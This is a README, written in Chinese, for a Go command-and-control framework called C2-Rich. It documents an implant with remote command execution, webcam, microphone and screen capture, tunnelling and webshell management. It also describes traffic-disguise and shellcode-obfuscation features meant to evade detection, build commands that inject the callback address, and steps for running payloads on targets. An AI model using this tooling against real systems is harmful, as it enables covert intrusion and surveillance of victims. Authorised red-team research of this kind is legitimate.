C2-Rich:纯 Go 多协议 C2 框架
简介
基于 Go 语言的命令与控制(C2)框架,纯 Go 实现,支持 Windows/Linux 交叉编译,集成多协议通信、流量加密、代码混淆、WebShell 管理、内网穿透等功能。
仅供安全研究与授权渗透测试使用,禁止用于非法用途。
功能概览
通信协议(三种)
加密通信(6 种算法)
所有加密后数据经 base64 编码传输,body 为纯密文(无 JSON 外壳、无字段名、无自定义 HTTP 头),服务端自动遍历算法解密。
Payload 生成
客户端功能
命令执行:支持 cmd/powershell/bash,跨平台
文件管理:列目录/查看/编辑/上传/下载/删除/重命名/建目录
屏幕监控:截图/录屏
媒体采集:录音/摄像头拍照/摄像头录像
系统信息:进程列表/系统信息
内网穿透:端口转发/SOCKS5 代理/HTTP 代理
WebShell 管理:冰蝎被动模式,支持 PHP/JSP/ASPX/ASP
流量伪装
URL 路径随机化:,每次请求不同
/api/v1/<16位随机hex>操作类型 隐入加密 body,无明文特征
_op多浏览器 UA 池:Chrome/Edge/Firefox/Safari 随机切换
随机 Accept-Language(8 语言池)
心跳节奏 45s/10s + 0-50% 随机抖动
纯密文 body,Content-Type 伪装为
application/jsonShellcode 字节级混淆(NOP 滑动 + 垃圾指令),每次生成 MD5 不同
架构设计
端口隔离体系
┌─────────────────────────────────────────────────┐
│ C2 Server (Go) │
├─────────────────────────────────────────────────┤
│ Web 控制台 :5000 │ Agent 回连 :18443 │
│ - 管理 API │ - HTTP POST (纯密文) │
│ - WebSocket /ws │ - WebSocket /ws/agent/ │
│ - 静态资源 │ - /deliver/{token} │
├─────────────────────┼──────────────────────────┤
│ Agent TCP :28443 │ Shell TCP :44330 │
│ - [4B长度][密文] │ - reverse_tcp 回连 │
└─────────────────────┴──────────────────────────┘Web 控制台(5000)不暴露 和 路由
/agent/*/deliver/*Agent 回连(18443)不暴露管理界面和 Web 界面
三种端口完全隔离,路由不交叉
目录结构
c2-rich/
├── server-go/ # 服务端源码
│ ├── main.go # 主入口,路由注册
│ ├── agent.go # Agent 通信(heartbeat/pull/result)
│ ├── agent_ws.go # WebSocket Agent 端点
│ ├── agent_tcp.go # TCP Agent 监听器
│ ├── agent_conn_registry.go # 长连接注册表(推送)
│ ├── handlers.go # Web API handlers
│ ├── auth.go # 认证(JWT/Session)
│ ├── crypto.go # 加密层
│ ├── payload_gen.go # Payload 生成
│ ├── shellcode_obf.go # Shellcode 混淆
│ ├── shell_handler.go # Raw TCP Shell Handler
│ ├── webshell.go # WebShell 管理
│ ├── obfuscator.go # 代码混淆
│ ├── obfuscator_go.go # Go Agent 源码混淆
│ ├── settings.go # 配置管理
│ ├── db.go # 数据库
│ ├── websocket.go # Web 控制台实时推送
│ ├── static/ # 前端资源
│ │ ├── index.html
│ │ ├── css/style.css
│ │ └── js/ # 前端模块(16 个 JS 文件)
│ └── c2.db # SQLite 数据库
├── client-go/ # 客户端 Agent 源码
│ ├── main.go # 主入口(协议模式分发)
│ ├── config.go # 配置(ldflags 注入)
│ ├── crypto.go # 加密层(与服务端对齐)
│ ├── transport.go # HTTP 传输
│ ├── transport_ws.go # WebSocket 传输(reader 分发)
│ ├── transport_tcp.go # TCP 传输(reader 分发)
│ ├── tasks.go # 任务调度
│ ├── task_cmd.go # 命令执行
│ ├── task_file.go # 文件管理
│ ├── task_media.go # 媒体采集
│ ├── task_system.go # 系统信息
│ └── task_tunnel.go # 内网穿透
├── config.json # 配置文件
├── c2.bat # Windows 启动脚本
└── c2.sh # Linux 启动脚本环境要求
Go 1.21+(下载:https://go.dev/dl/)
操作系统:Windows / Linux
CGO_ENABLED=0(纯 Go 编译,无需 C 编译器,依赖 modernc.org/sqlite 纯 Go 驱动)
编译说明
本项目包含两部分可编译的 Go 代码:
编译产物默认放在各自源码目录下。服务端运行时需要 (在项目根目录)和 目录(在 下)。
config.jsonstatic/server-go/
方式一:使用启动脚本(推荐)
方式二:手动编译服务端
Windows(PowerShell / CMD):
cd server-go
$env:CGO_ENABLED=0; $env:GOOS="windows"; $env:GOARCH="amd64"
go build -o c2_server.exe .
# 产物: server-go\c2_server.exeLinux(Bash):
cd server-go
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o c2_server .
# 产物: server-go/c2_server方式三:手动编译 Agent
Windows:
cd client-go
$env:CGO_ENABLED=0; $env:GOOS="windows"; $env:GOARCH="amd64"
go build -o c2_agent.exe .Linux:
cd client-go
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o c2_agent_linux_amd64 .交叉编译(生成其他平台产物)
Go 原生支持交叉编译,只需设置 / 环境变量:GOOSGOARCH
在 Windows 上编译 Linux 版服务端:
cd server-go
$env:CGO_ENABLED=0; $env:GOOS="linux"; $env:GOARCH="amd64"
go build -o c2_server_linux_amd64 .在 Linux 上编译 Windows 版服务端:
cd server-go
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -o c2_server.exe .支持的目标平台组合:
编译带配置注入的 Agent(ldflags)
Payload 生成页面生成的 EXE 会通过 注入运行时配置(回连地址、端口、加密算法等)。手动编译时也可注入:go build -ldflags "-X ..."
cd client-go
go build -ldflags "-X main.CallbackHost=192.168.0.31 -X main.CallbackPort=18443 -X main.Protocol=websocket -X main.EncAlgo=aes-128-cbc -X main.EncPwd=C2DemoKey2024!!!" -o c2_agent_custom.exe .正常使用推荐通过 Web 控制台的 Payload 生成页面生成 Agent,会自动处理 ldflags 注入和代码混淆。
运行服务端
编译完成后,确保以下文件结构正确:
c2-rich/
├── config.json # 必须存在(服务端读取)
└── server-go/
├── c2_server.exe # Windows 产物(或 c2_server / Linux)
└── static/ # 前端资源(必须存在)
├── index.html
├── css/
└── js/
运行:
# Windows
cd server-go
.\c2_server.exe# Linux
cd server-go
chmod +x c2_server
./c2_serverWindows 启动
c2.bat脚本自动编译服务端,启动后显示:
Web 控制台: http://127.0.0.1:5000
Agent 回连: http://127.0.0.1:18443
Agent TCP: tcp://127.0.0.1:28443
Shell TCP: tcp://127.0.0.1:44330
默认账号: admin / admin123
Linux 启动
chmod +x c2.sh
./c2.sh start # 启动(后台运行)
./c2.sh status # 查看状态
./c2.sh log # 实时日志
./c2.sh restart # 重启
./c2.sh stop # 停止
./c2.sh build_all # 编译全部(服务端 + Agent)生成 Payload
浏览器访问 ,使用 登录
http://127.0.0.1:5000admin/admin123进入「Payload 生成」页面
选择通信协议(HTTP/WebSocket/TCP)、加密算法、输出格式
点击「生成 Payload」
下载生成的 EXE/脚本/WebShell,在目标机器执行
添加 WebShell
在「Payload 生成」页面生成 PHP/JSP/ASPX WebShell 文件
将文件上传到目标 Web 服务器
进入「WebShell 管理」页面,点击「添加 WebShell」
填写 WebShell URL、加密算法、密码(必须与生成时一致)
验证成功后即可在终端/文件管理中操作
配置说明
config.json(文件配置)
{
"web": {
"host": "0.0.0.0",
"port": 5000,
"protocol": "http",
"ssl_cert": "",
"ssl_key": ""
}
}数据库配置(通过 Web 界面修改)
进入「配置管理」页面可调整:
通信监听:回连地址、Agent 端口、TCP 端口、Shell 端口
通信加密:加密算法、加密密码
客户端行为:心跳间隔、任务拉取间隔、离线超时
任务限制:截图分辨率、录屏时长、上传大小限制
安全策略:Session 超时、登录尝试次数、锁定时间
Webhook:事件通知 URL、触发事件